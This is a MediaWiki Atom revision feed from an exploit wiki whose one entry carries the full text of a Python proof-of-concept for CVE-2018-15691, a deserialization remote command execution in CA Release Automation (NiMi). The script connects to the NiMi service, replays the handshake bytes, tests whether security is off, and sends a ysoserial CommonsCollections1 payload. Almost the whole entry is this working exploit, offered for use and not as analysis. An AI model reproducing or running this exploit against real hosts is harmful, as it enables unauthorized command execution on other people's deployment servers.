<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CA_Release_Automation_NiMi_6.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CA Release Automation NiMi 6.5 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CA_Release_Automation_NiMi_6.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CA_Release_Automation_NiMi_6.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-07T06:05:33Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CA_Release_Automation_NiMi_6.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1511&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: CA Release Automation NiMi 6.5 - Remote Command Execution # Date: 2016-06-23 # Exploit Authors: Jakub Palaczynski, Maciej Grabiec # Vendor Homep...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CA_Release_Automation_NiMi_6.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1511&amp;oldid=prev"/>
		<updated>2021-04-11T01:24:59Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: CA Release Automation NiMi 6.5 - Remote Command Execution # Date: 2016-06-23 # Exploit Authors: Jakub Palaczynski, Maciej Grabiec # Vendor Homep...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: CA Release Automation NiMi 6.5 - Remote Command Execution&lt;br /&gt;
# Date: 2016-06-23&lt;br /&gt;
# Exploit Authors: Jakub Palaczynski, Maciej Grabiec&lt;br /&gt;
# Vendor Homepage: http://www.ca.com/&lt;br /&gt;
# Software Link: https://docops.ca.com/ca-release-automation/5-5-2/en/installation/deploy-agents/&lt;br /&gt;
# Version: CA Release Automation (NiMi) 5.X, 6.3, 6.4, 6.5&lt;br /&gt;
# CVE: CVE-2018-15691&lt;br /&gt;
# Info: CA Release Automation (NiMi) Remote Command Execution via Deserialization&lt;br /&gt;
# Info: Payloads generated using CommonsCollections1 from ysoserial work correctly.&lt;br /&gt;
# Info: Proof of Concept exploits NiMi service if security is turned off.&lt;br /&gt;
 &lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
import socket&lt;br /&gt;
import sys&lt;br /&gt;
import struct&lt;br /&gt;
 &lt;br /&gt;
if len(sys.argv) &amp;lt; 4:&lt;br /&gt;
    sys.stderr.write(&amp;quot;[-]Usage: python %s &amp;lt;ip&amp;gt; &amp;lt;port&amp;gt; &amp;lt;payload_file&amp;gt; &amp;lt;target_nodeid - not mandatory&amp;gt;\n&amp;quot; % sys.argv[0])&lt;br /&gt;
    sys.stderr.write(&amp;quot;[-]Exemple: python %s 10.0.0.1 6600 /tmp/payload.bin\n&amp;quot; % sys.argv[0])&lt;br /&gt;
    exit(1)&lt;br /&gt;
 &lt;br /&gt;
host = sys.argv[1]&lt;br /&gt;
port = sys.argv[2]&lt;br /&gt;
file = sys.argv[3]&lt;br /&gt;
 &lt;br /&gt;
# check if payload does not exceed specified value&lt;br /&gt;
payloadObj = open(file,'rb').read()&lt;br /&gt;
if len(payloadObj) &amp;gt; 5729:&lt;br /&gt;
    print 'Payload must be less than 5730 bytes. Try another one.'&lt;br /&gt;
    exit(1)&lt;br /&gt;
 &lt;br /&gt;
# open socket to nimi port&lt;br /&gt;
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
print 'Connecting to node.'&lt;br /&gt;
sock.connect((host, int(port)))&lt;br /&gt;
 &lt;br /&gt;
# say hello to nimi&lt;br /&gt;
sock.recv(256)&lt;br /&gt;
sock.send('\x00\x00\x00\x0c\x0a\x04\x6e\x6f\x64\x65\x10\x0a\x72\x02\x08\x00') # first required message&lt;br /&gt;
 &lt;br /&gt;
# get Node ID&lt;br /&gt;
data = sock.recv(256)&lt;br /&gt;
name = data[5] + data[6:6+ord(data[5])]&lt;br /&gt;
if len(sys.argv) == 5:&lt;br /&gt;
    name = struct.pack(&amp;quot;&amp;gt;B&amp;quot;, len(sys.argv[4])) + sys.argv[4]&lt;br /&gt;
 &lt;br /&gt;
# check if security is enabled&lt;br /&gt;
sock.send('\x00\x00\x00\x1a\x0a\x04\x6e\x6f\x64\x65\x10\x0a\x7a\x10\x0a\x0c\x0a\x07\x30\x2e\x30\x2e\x30\x2e\x30\x10\x94\x3c\x10\x00') # second required message&lt;br /&gt;
check = sock.recv(256)&lt;br /&gt;
if check == &amp;quot;&amp;quot;:&lt;br /&gt;
    print 'Security is enabled. Sorry.'&lt;br /&gt;
    exit(1)&lt;br /&gt;
 &lt;br /&gt;
# send payload&lt;br /&gt;
print 'Sending payload.'&lt;br /&gt;
header = '\x0a\x04\x6e\x6f\x64\x65\x10\x01\x1a' + name + '\x2a\xe4\x2c\x0a\xe1\x2c'&lt;br /&gt;
stage = header + payloadObj + '\x90' * (5729-len(payloadObj))&lt;br /&gt;
payload = struct.pack(&amp;quot;&amp;gt;I&amp;quot;, len(stage)) + stage&lt;br /&gt;
 &lt;br /&gt;
sock.sendall(payload)&lt;br /&gt;
sock.close()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>